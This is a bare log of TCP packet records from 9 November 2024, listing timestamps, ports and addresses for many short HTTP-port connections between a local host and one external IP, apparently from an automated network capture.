Nov 9, 2024 22:23:24.342242002 CET	80	49930	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:24.342262030 CET	80	49930	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:24.342315912 CET	80	49930	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:24.932502031 CET	80	49930	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:24.983766079 CET	80	49930	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:24.983839989 CET	49930	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:25.099512100 CET	49939	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:25.104387045 CET	80	49939	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:25.104441881 CET	49939	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:25.104535103 CET	49939	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:25.109297037 CET	80	49939	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:25.461900949 CET	49939	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:25.466958046 CET	80	49939	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:25.466972113 CET	80	49939	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:25.466984034 CET	80	49939	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:26.014816999 CET	80	49939	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:26.055548906 CET	49939	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:26.067126989 CET	80	49939	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:26.164968014 CET	49939	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:26.675446987 CET	49930	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:26.677895069 CET	49939	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:26.678560019 CET	49946	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:26.683146954 CET	80	49939	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:26.683357000 CET	80	49946	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:26.683422089 CET	49939	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:26.683456898 CET	49946	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:26.683592081 CET	49946	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:26.688424110 CET	80	49946	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:27.039994955 CET	49946	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:27.044889927 CET	80	49946	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:27.044900894 CET	80	49946	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:27.044928074 CET	80	49946	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:27.253706932 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:27.258630991 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:27.258964062 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:27.261698008 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:27.266535044 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:27.618150949 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:27.619134903 CET	80	49946	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:27.623061895 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:27.678153992 CET	80	49946	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:27.678226948 CET	49946	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:27.814733028 CET	49956	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:27.819566965 CET	80	49956	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:27.819622993 CET	49956	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:27.819813967 CET	49956	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:27.824558020 CET	80	49956	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.165007114 CET	49956	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.170258045 CET	80	49956	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.170269966 CET	80	49956	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.170279026 CET	80	49956	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.190398932 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.253062963 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.253110886 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.253758907 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.258554935 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.543401003 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.543704987 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.548615932 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.548625946 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.548670053 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.548675060 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.548679113 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.548696041 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.548703909 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.548741102 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.548743010 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.548751116 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.548777103 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.548790932 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.548845053 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.553596973 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.553613901 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.553668976 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.553669930 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.553680897 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.553694963 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.553699017 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.553708076 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.553730011 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.553740978 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.553761959 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.553771019 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.553780079 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.553829908 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.553843975 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.553857088 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.553885937 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.553894043 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.553934097 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.558644056 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.558712006 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.558795929 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.558882952 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.558892965 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.558900118 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.558918953 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.558927059 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.558943987 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.558948040 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.558952093 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.558999062 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.559010983 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.559020042 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.559035063 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.559042931 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.559056044 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.559063911 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.559067965 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.559081078 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.559083939 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.559104919 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.559129000 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.559154034 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.559159040 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.559168100 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.559206009 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.563539982 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563549042 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563600063 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.563610077 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563626051 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563642025 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563651085 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563667059 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.563692093 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.563770056 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563786030 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563812017 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563849926 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563858986 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563877106 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563884974 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563919067 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563926935 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563966036 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.563975096 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564012051 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564021111 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564080000 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564089060 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564095974 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564105034 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564120054 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564135075 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564160109 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564168930 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564213037 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564220905 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564229012 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564239025 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564261913 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564270020 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564277887 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564321041 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564328909 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564337015 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564352036 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564361095 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564413071 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564420938 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564456940 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564466000 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564517021 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564524889 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564567089 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564580917 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564595938 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564604044 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564611912 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564615965 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564635992 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564645052 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564659119 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564667940 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564682007 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564690113 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564739943 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564753056 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564769983 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564779997 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564811945 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564819098 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564827919 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564836979 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564879894 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564888954 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564903975 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.564912081 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.568624020 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.568633080 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.568649054 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.568706989 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.568716049 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.568723917 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.568739891 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.568748951 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.736243010 CET	80	49956	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.785718918 CET	80	49956	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.785758018 CET	49956	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.909322023 CET	49956	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.909915924 CET	49964	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.914702892 CET	80	49956	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.914809942 CET	80	49964	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:28.914952993 CET	49956	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.914975882 CET	49964	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.915121078 CET	49964	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:28.919831991 CET	80	49964	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:29.274383068 CET	49964	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:29.279273033 CET	80	49964	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:29.279289961 CET	80	49964	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:29.279324055 CET	80	49964	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:29.404261112 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:29.411128044 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:29.416013002 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:29.714920998 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:29.717753887 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:29.722738028 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:29.722748041 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:29.841289997 CET	80	49964	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:29.905710936 CET	80	49964	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:29.905782938 CET	49964	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:30.019793987 CET	49964	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:30.023243904 CET	49970	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:30.025140047 CET	80	49964	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:30.025185108 CET	49964	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:30.028090954 CET	80	49970	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:30.028168917 CET	49970	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:30.028306007 CET	49970	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:30.033049107 CET	80	49970	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:30.067924976 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:30.286153078 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:30.286207914 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:30.383825064 CET	49970	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:30.388849974 CET	80	49970	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:30.388859034 CET	80	49970	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:30.388869047 CET	80	49970	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:31.242916107 CET	80	49970	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:31.242970943 CET	80	49970	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:31.243029118 CET	49970	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.243035078 CET	80	49970	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:31.243191957 CET	49970	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.362595081 CET	49771	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.364571095 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.364592075 CET	49946	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.364626884 CET	49970	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.365228891 CET	49976	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.369893074 CET	80	49952	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:31.369936943 CET	80	49946	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:31.369956017 CET	49952	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.369976997 CET	80	49970	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:31.369980097 CET	49946	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.370027065 CET	49970	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.370031118 CET	80	49976	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:31.370083094 CET	49976	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.370168924 CET	49976	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.375015020 CET	80	49976	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:31.727510929 CET	49976	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:31.732506990 CET	80	49976	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:31.732527018 CET	80	49976	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:31.732537031 CET	80	49976	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:32.281913042 CET	80	49976	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:32.339632034 CET	80	49976	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:32.339679003 CET	49976	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:32.605329037 CET	49976	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:32.606477022 CET	49982	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:32.610631943 CET	80	49976	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:32.610681057 CET	49976	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:32.611255884 CET	80	49982	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:32.611305952 CET	49982	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:32.611404896 CET	49982	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:32.616110086 CET	80	49982	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:32.961848021 CET	49982	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:32.968178988 CET	80	49982	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:32.968192101 CET	80	49982	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:32.968203068 CET	80	49982	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:33.572700977 CET	80	49982	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:33.637028933 CET	80	49982	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:33.639009953 CET	49982	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:33.754851103 CET	49982	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:33.755577087 CET	49993	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:33.761255026 CET	80	49982	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:33.761269093 CET	80	49993	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:33.761321068 CET	49982	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:33.761348963 CET	49993	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:33.761441946 CET	49993	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:33.766915083 CET	80	49993	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:34.118421078 CET	49993	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:34.125509977 CET	80	49993	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:34.125520945 CET	80	49993	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:34.125530005 CET	80	49993	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:34.680840969 CET	80	49993	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:34.746121883 CET	80	49993	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:34.746954918 CET	49993	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.099828005 CET	49993	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.100245953 CET	49999	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.105086088 CET	80	49999	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:35.105329990 CET	80	49993	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:35.105410099 CET	49993	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.105417967 CET	49999	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.111479998 CET	49999	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.116255045 CET	80	49999	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:35.428343058 CET	50000	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.433207989 CET	80	50000	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:35.433269978 CET	50000	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.433440924 CET	50000	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.438258886 CET	80	50000	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:35.461832047 CET	49999	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.466861963 CET	80	49999	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:35.466895103 CET	80	49999	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:35.766501904 CET	50006	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.771370888 CET	80	50006	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:35.771454096 CET	50006	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.771574974 CET	50006	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.776413918 CET	80	50006	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:35.790450096 CET	50000	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:35.795485020 CET	80	50000	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:35.795505047 CET	80	50000	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:35.795516014 CET	80	50000	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:36.022756100 CET	80	49999	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:36.086735010 CET	80	49999	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:36.086842060 CET	49999	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:36.118108988 CET	50006	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:36.123034000 CET	80	50006	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:36.374738932 CET	80	50000	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:36.440279961 CET	80	50000	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:36.440330982 CET	50000	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:36.567635059 CET	50000	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:36.569192886 CET	50012	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:36.572782993 CET	80	50000	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:36.574048996 CET	80	50012	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:36.574105024 CET	50000	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:36.574130058 CET	50012	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:36.574220896 CET	50012	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:36.578986883 CET	80	50012	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:36.715214014 CET	80	50006	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:36.758645058 CET	50006	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:36.767158985 CET	80	50006	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:36.769562960 CET	50006	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:36.774447918 CET	80	50006	185.50.25.59	192.168.2.4
